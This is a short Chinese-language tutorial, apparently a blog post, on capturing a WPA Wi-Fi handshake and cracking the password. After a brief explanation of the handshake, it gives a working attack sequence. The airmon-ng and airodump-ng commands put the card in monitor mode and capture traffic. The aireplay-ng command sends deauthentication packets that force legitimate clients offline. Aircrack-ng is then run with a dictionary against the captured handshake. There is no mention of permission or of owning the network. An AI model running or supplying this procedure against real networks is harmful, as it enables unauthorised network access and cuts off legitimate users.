握手包

1、當一個無線客戶端與一個無線AP連接時，先發出連接認證請求（握手申請：你好！）

2、無線AP收到請求以後，將一段隨機信息發送給無線客戶端（你是？）

3、無線客戶端將接收到的這段隨機信息進行加密之後再發送給無線AP （這是我的名片）

4、無線AP檢查加密的結果是否正確，如果正確則同意連接（哦～ 原來是自己人呀！）

通常我們說的抓“握手包”，是指在無線AP與它的一個合法客戶端在進行認證時，捕獲“信息原文”和加密后的“密文”。————來自網路解釋

握手包的抓取需要在用戶正在撥號時才行。

一般的方法是，在抓包的同時，用deauth攻擊，讓已經登錄的用戶斷線，然後用戶再次登錄時就可以抓握手包了。

不要一直攻擊，否則合法用戶連不上。當pwr顯示的合法客戶端的數值變為0時，表示他已經掉線了。

這個過程需要多進行幾次，得親自盯著，靠全自動軟體是不行的。

sudo ifconfig wlan0

sudo airmon-ng start wlan0

sudo airodump-ng -w test mon0 -c 13

在抓包的同時進行注入攻擊

sudo aireplay-ng -0 10 -a "bssid" mon0

抓到握手包后，在airodump顯示屏幕的右上角回有顯示的，然後可以關閉無線網卡了，在本地用aircrack-ng，掛上字典，進行wpa-psk的破解。